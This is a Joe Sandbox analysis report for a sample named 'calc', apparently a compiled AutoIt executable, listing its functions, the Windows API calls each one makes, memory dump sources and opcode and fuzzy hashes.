    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: FileProcess$CreateMappingOpenThreadViewWindow
    • String ID:
    • API String ID: 2085894357-0
    • Opcode ID: 75382669b767f4ad5488222fbf913262a6e70212d0470052150fcffc01197b35
    • Instruction ID: 669107df82a005897c57ec4c642622ccca2b8a359d94b7e5d07929d7754caf8e
    • Opcode Fuzzy Hash: 75382669b767f4ad5488222fbf913262a6e70212d0470052150fcffc01197b35
    • Instruction Fuzzy Hash: 6111A3B6100309FFEB105F61CC44ABB776CEB88395F00462AF692C5091C274DD908B24
    Function 0044E459 Relevance: 6.1, APIs: 4, Instructions: 57memoryCOMMONLIBRARYCODE
    Download Yara Rule
    APIs
    • RtlReAllocateHeap.NTDLL(00000000,00000050,00000000,0044EA4A), ref: 0044E480
    • RtlAllocateHeap.NTDLL(00000008,000041C4,00000000), ref: 0044E4B9
    • VirtualAlloc.KERNEL32(00000000,00100000,00002000,00000004,?,004013F3), ref: 0044E4D7
    • HeapFree.KERNEL32(00000000,?,?,004013F3), ref: 0044E4EE
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: Heap$Allocate$AllocFreeVirtual
    • String ID:
    • API String ID: 94566200-0
    • Opcode ID: a3fd5e3a949f7a78fcf4328b251d6220a18b3bd1147b161bd61c9f06b23a6b68
    • Instruction ID: 794246fb6d91a483d3371ec652401cc3041d5f0488e56fd6261ea09eaf57b0e3
    • Opcode Fuzzy Hash: a3fd5e3a949f7a78fcf4328b251d6220a18b3bd1147b161bd61c9f06b23a6b68
    • Instruction Fuzzy Hash: F2115B31610701AFD7B08FAAEC4592A7BB5FB85769B104E2EF162C65B0D370A849CB08
    Function 00414971 Relevance: 6.1, APIs: 4, Instructions: 51synchronizationthreadwindowCOMMON
    Download Yara Rule
    APIs
    • GetCurrentThreadId.KERNEL32 ref: 00414991
    • MessageBoxW.USER32(?,?,?,?), ref: 004149C3
    • WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 004149D8
    • CloseHandle.KERNEL32(00000000), ref: 004149DF
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: CloseCurrentHandleMessageObjectSingleThreadWait
    • String ID:
    • API String ID: 2880819207-0
    • Opcode ID: 9bcb5aa3c768942edd719b5082d50a1b5a7429418ff23bc50409b4238d47a26f
    • Instruction ID: 37f3567695b4e2a04e44fe97a9f8cb04737ee47792f011c909d28ba87a63e80b
    • Opcode Fuzzy Hash: 9bcb5aa3c768942edd719b5082d50a1b5a7429418ff23bc50409b4238d47a26f
    • Instruction Fuzzy Hash: 91016872904244BFDB019FB89C848DF7FACBB89321F440276F515D3291DB348E8487A8
    Function 0040418F Relevance: 6.0, APIs: 4, Instructions: 44COMMON
    Download Yara Rule
    APIs
    • GetWindowRect.USER32(?,?), ref: 004041A5
    • ScreenToClient.USER32(?,?), ref: 004041C3
    • ScreenToClient.USER32(?,?), ref: 004041E3
    • InvalidateRect.USER32(?,?,?,?,?,?,?), ref: 004041FA
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: ClientRectScreen$InvalidateWindow
    • String ID:
    • API String ID: 357397906-0
    • Opcode ID: e6c53d79c336a4540c849928479b5bbe4b45c7717b9f6299b7b93d6f2ff35d60
    • Instruction ID: 7a2881a9e657539b123658c6875673d14ae470e9a9d0cf3515e33dff372f4954
    • Opcode Fuzzy Hash: e6c53d79c336a4540c849928479b5bbe4b45c7717b9f6299b7b93d6f2ff35d60
    • Instruction Fuzzy Hash: 2A111FBAD0020DEFDB51DFA8D9819DEBBF9FB48240F104166E945E3211E731AA54DB50
    Function 00457312 Relevance: 6.0, APIs: 4, Instructions: 38COMMON
    Download Yara Rule
    APIs
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: ___addl
    • String ID:
    • API String ID: 2260456530-0
    • Opcode ID: a6d3fea94caffdbfbeec600a8d228e4f9831f0a4e76ee5ff08ec74ce47c2ef23
    • Instruction ID: 56a7e8b0768f1760fac7a0eab5900b619266d7ac4d86417b63611c217eca51e8
    • Opcode Fuzzy Hash: a6d3fea94caffdbfbeec600a8d228e4f9831f0a4e76ee5ff08ec74ce47c2ef23
    • Instruction Fuzzy Hash: FCF06D76404602AFDA105A42EC02E67B7E9FF44315F4444BAFD5892132F722E86CDF51
    Function 004030FC Relevance: 6.0, APIs: 4, Instructions: 27threadwindowtimeCOMMON
    Download Yara Rule
    APIs
    • SendMessageTimeoutW.USER32(0045C6D0,00000000,00000000,00000000,00000002,00001388,00000001), ref: 00403119
    • GetWindowThreadProcessId.USER32(0045C6D0,00000000), ref: 0040312E
    • GetCurrentThreadId.KERNEL32 ref: 00403135
    • AttachThreadInput.USER32(00000000,?,0040301A,?,00000001), ref: 0040313C
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: Thread$AttachCurrentInputMessageProcessSendTimeoutWindow
    • String ID:
    • API String ID: 2710830443-0
    • Opcode ID: f061325f79de26fa8bd7ada1c3a173e6ada7418d19c7524b275892b6c77a0e0a
    • Instruction ID: e0469f5d39f6c9a8ed97173fcd7a9f0b0481b7a02a8b853d1df90955247d746e
    • Opcode Fuzzy Hash: f061325f79de26fa8bd7ada1c3a173e6ada7418d19c7524b275892b6c77a0e0a
    • Instruction Fuzzy Hash: 59E01231684308FAEB119F60DC0AF9A3F5CAB14B42F508021B705AD0E2D7B9DAA1CB5C
    Function 0040DE09 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 214comCOMMON
    Download Yara Rule
    APIs
    • OleSetContainedObject.OLE32(0000000C,00000001), ref: 0040DF8B
      • Part of subcall function 0040E034: OleSetContainedObject.OLE32(75C08500,00000000), ref: 0040E0A3
      • Part of subcall function 0040E034: IsWindow.USER32(0011FEE8), ref: 0040E0FC
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: ContainedObject$Window
    • String ID: AutoIt3GUI$Container
    • API String ID: 2752853911-3941886329
    • Opcode ID: 8e6ee2c316e27129d9d6d28a79f25b567a849c9034daffe22e7cad4a73fbc4f5
    • Instruction ID: bf47823b7056066a5e2e6accf56a3fe746e3b4a49be001c8bdeeda6f12d14935
    • Opcode Fuzzy Hash: 8e6ee2c316e27129d9d6d28a79f25b567a849c9034daffe22e7cad4a73fbc4f5
    • Instruction Fuzzy Hash: 62818AB0A00602EFCB14DFA5C8C496ABBB4FF48305B20856EE906DB791C779E855CF94
    Function 00454120 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 135COMMON
    Download Yara Rule
    APIs
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: Info
    • String ID: 0H$0H
    • API String ID: 1807457897-3632109438
    • Opcode ID: a03b05c39c204be3cfdac47b8496c9b10152d593e6408a9f2bbe70603d1d90d3
    • Instruction ID: 857a1bb90ed6b757db5288b16b7c828b2284c8cc85c9d493c8eebaa07cc69fb3
    • Opcode Fuzzy Hash: a03b05c39c204be3cfdac47b8496c9b10152d593e6408a9f2bbe70603d1d90d3
    • Instruction Fuzzy Hash: E34149709141605EE740EF64D88427E7BE0AB8934AF2844BFF9558F353C23A49CE8B9D
    Function 00412C29 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 121windowCOMMON
    Download Yara Rule
    APIs
    • LoadStringW.USER32(00000065,?,0000007F,00000000), ref: 00412C6D
    • Shell_NotifyIconW.SHELL32(00000001,000003A8), ref: 00412DBE
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: IconLoadNotifyShell_String
    • String ID: Line:
    • API String ID: 3363329723-1585850449
    • Opcode ID: ac6f7842dab233d1e68704d78533ec32c694b5aa436cd5726a7fbaefa039d289
    • Instruction ID: d44aa6c7ff2ceec8a5e2fc5b0b8ec97f83009bbda05c0c700851c1c9c39894c2
    • Opcode Fuzzy Hash: ac6f7842dab233d1e68704d78533ec32c694b5aa436cd5726a7fbaefa039d289
    • Instruction Fuzzy Hash: E241A4B19042089AEB11DF65DC45BDE7BB8BB44318F00016BF509E3291E7B89AD9CB9D
    Function 0045705F Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 109fileCOMMON
    Download Yara Rule
    APIs
      • Part of subcall function 0044F7F5: SetFilePointer.KERNEL32(00000000,00000000,00000000,?,?,?,0044F8C0,?,00000000,0044EFF8,0045B9B8,0000000C,0044CCA9,?,00000000,00000002), ref: 0044F822
      • Part of subcall function 0044F7F5: GetLastError.KERNEL32 ref: 0044F82F
    • SetEndOfFile.KERNEL32(00000000,?,?,?,00000000,?,?,?,00455E63,00000000,80000000), ref: 0045714F
    • GetLastError.KERNEL32(?,?,?,00000000,?,?,?,00455E63,00000000,80000000), ref: 00457174
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: ErrorFileLast$Pointer
    • String ID: c^E
    • API String ID: 1697706070-2539547054
    • Opcode ID: cfd755cca87d619af5feba0446fd4f4da26253de6824d47dc33922f992f189b7
    • Instruction ID: b36608169c62242103fee92faa6a2b2a4f55438ee637c16eb5b786c1d23c8d19
    • Opcode Fuzzy Hash: cfd755cca87d619af5feba0446fd4f4da26253de6824d47dc33922f992f189b7
    • Instruction Fuzzy Hash: B9314C71900514ABEF212F65DC45B8E3B64EF08355F10417BFD089B292EA798E488B9C
    Function 0040B435 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 92windowCOMMON
    Download Yara Rule
    APIs
    • SendMessageW.USER32(?,00000469,?,00000000), ref: 0040B4E8
    • SendMessageW.USER32(?,00000465,00000000,80017FFF), ref: 0040B4F8
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: MessageSend
    • String ID: msctls_updown32
    • API String ID: 3850602802-2298589950
    • Opcode ID: 6379d174e26c128a804c38e3f495b71b257c212925a7d6601335cd6feca22ee9
    • Instruction ID: 3d460db20afce04995f9f54f52d8810648ed05b4425190c924ea1cb92289fdf7
    • Opcode Fuzzy Hash: 6379d174e26c128a804c38e3f495b71b257c212925a7d6601335cd6feca22ee9
    • Instruction Fuzzy Hash: 46318FB1600209BFDB00CF24DC81DAB37A9EF59358B10406AF901A73D1DB34ED52DBA8
    Function 0040BACF Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 90windowCOMMON
    Download Yara Rule
    APIs
    • SendMessageW.USER32(?,00001132,00000000,?), ref: 0040BBAB
    • SendMessageW.USER32(?,00001105,00000000,00000000), ref: 0040BBC3
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: MessageSend
    • String ID: '
    • API String ID: 3850602802-1997036262
    • Opcode ID: d2497bf30880c0e0f6f9250b73f4ff933048766acc535da351d0025d50bfa92f
    • Instruction ID: 790da75ecd06bc5f8f21dc72d14b365d84c45d9b578440653fd79ec7c8b9c65c
    • Opcode Fuzzy Hash: d2497bf30880c0e0f6f9250b73f4ff933048766acc535da351d0025d50bfa92f
    • Instruction Fuzzy Hash: BA3109B19003099FCB10CF99C880ADEB7F5FF58310F55446AEA49EB795D374A981CB98
    Function 00454E4A Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 77COMMON
    Download Yara Rule
    APIs
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: __shift_strcat_strlen
    • String ID: e+000
    • API String ID: 208078240-1027065040
    • Opcode ID: c1451e237096401f43faf898fed7d531d20f8d40ded23736f31a8e9cbef58cc2
    • Instruction ID: c17b212e9c6a6195a33cd92223d512c1f4d604f34dd2aa8fe3ac825eb24e3e10
    • Opcode Fuzzy Hash: c1451e237096401f43faf898fed7d531d20f8d40ded23736f31a8e9cbef58cc2
    • Instruction Fuzzy Hash: 7621F3322083909FD71A4A389C913A63BD1AB4231DF1844AFE485CE293D27DC9C8C359
    Function 004244A8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 75COMMON
    Download Yara Rule
    APIs
    • SetErrorMode.KERNEL32(00000001), ref: 004244B8
    • GetVolumeInformationW.KERNEL32(00000000,?,000000FF,?,?,?,?,000000FF,00000000), ref: 00424523
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: ErrorInformationModeVolume
    • String ID: %lu
    • API String ID: 64830657-685833217
    • Opcode ID: ab25d0a3f84c8be0667e4f19ed05e3358fdcc46152f7499cb6517b5208bf9198
    • Instruction ID: 52b8ba96a781efff86eab9d710c4b0d9c46507a85bdf29dd436e82410a9f276d
    • Opcode Fuzzy Hash: ab25d0a3f84c8be0667e4f19ed05e3358fdcc46152f7499cb6517b5208bf9198
    • Instruction Fuzzy Hash: 2821B632A00118AFDB14AB95DC45EEF7378EF44314F10426BB512A71A1DE78EE85CB98
    Function 00413C3D Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 74fileCOMMON
    Download Yara Rule
    APIs
      • Part of subcall function 00413E1F: CloseHandle.KERNEL32(?,00000000,00413C39,0045C6D0,0040FFF4,0045C6D0,?,?,004105B4,00000000,0047BD30,00000000,0045C6D0,00000000,00000000,0045C6D0), ref: 00413E2F
    • CreateFileW.KERNEL32(00000000,80000000,00000003,00000000,00000003,00000000,00000000,00000000,?,0045C6D0,00000000,?,00410004,00000000,0045C6D0), ref: 00413CCD
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: CloseCreateFileHandle
    • String ID: a+b$w+b
    • API String ID: 3498533004-2501309014
    • Opcode ID: d91cdd8369b11ef9a3c164c8206441f8dd3c3036e2c72543d9734c0028e4c0c9
    • Instruction ID: edf53baa4e82ff11f7db368c7cffc4024c74940741b87387b299ffaae9dd17bc
    • Opcode Fuzzy Hash: d91cdd8369b11ef9a3c164c8206441f8dd3c3036e2c72543d9734c0028e4c0c9
    • Instruction Fuzzy Hash: D9110372604304BAEB201E55D946BD27B98AF1079AF24443FF88862251F63D9E81C59C
    Function 0040A9BE Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 64windowCOMMON
    Download Yara Rule
    APIs
    • SendMessageW.USER32(00000000,00000143,00000000,?), ref: 0040AA4A
    • SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 0040AA55
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
